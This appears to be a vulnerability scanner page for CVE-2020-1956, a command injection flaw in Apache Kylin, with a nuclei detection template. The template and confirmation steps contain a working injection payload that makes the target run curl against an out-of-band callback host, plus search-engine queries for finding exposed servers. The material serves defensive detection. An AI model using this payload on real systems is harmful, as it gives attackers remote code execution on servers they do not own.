Apache Kylin 3.0.1 - Command Injection Vulnerability

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

highseverity

8.8CVSS score

98%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.

Impact

Successful exploitation of this vulnerability can lead to unauthorized remote code execution and potential compromise of the affected server.

Fix

Upgrade to a patched version of Apache Kylin or apply the necessary security patches provided by the vendor.

How to confirm it

Send: POST /kylin/api/user/authentication ; POST /kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20{{interactsh-url}}%60/migrate
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: curl"

Run it with nuclei: nuclei -id CVE-2020-1956 -u <target>

The full check

id: CVE-2020-1956

info:
  name: Apache Kylin 3.0.1 - Command Injection Vulnerability
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution and potential compromise of the affected server.
  remediation: |
    Upgrade to a patched version of Apache Kylin or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.sonarsource.com/blog/apache-kylin-command-injection-vulnerability/
    - https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706
    - https://nvd.nist.gov/vuln/detail/CVE-2020-1956
    - http://www.openwall.com/lists/oss-security/2020/07/14/1
    - https://lists.apache.org/thread.html/r021baf9d8d4ae41e8c8332c167c4fa96c91b5086563d9be55d2d7acf@%3Ccommits.kylin.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-1956
    cwe-id: CWE-78
    epss-score: 0.97389
    epss-percentile: 0.99899
    cpe: cpe:2.3:a:apache:kylin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: kylin
    shodan-query: http.favicon.hash:-186961397
    fofa-query: icon_hash=-186961397
  tags: cve,cve2020,apache,kylin,rce,oast,kev,vkev,vuln
variables:
  username: "{{username}}:"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /kylin/api/user/authentication HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}
      - |
        POST /kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20{{interactsh-url}}%60/migrate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

References

Use this check only on systems you are authorised to test. Where the data comes from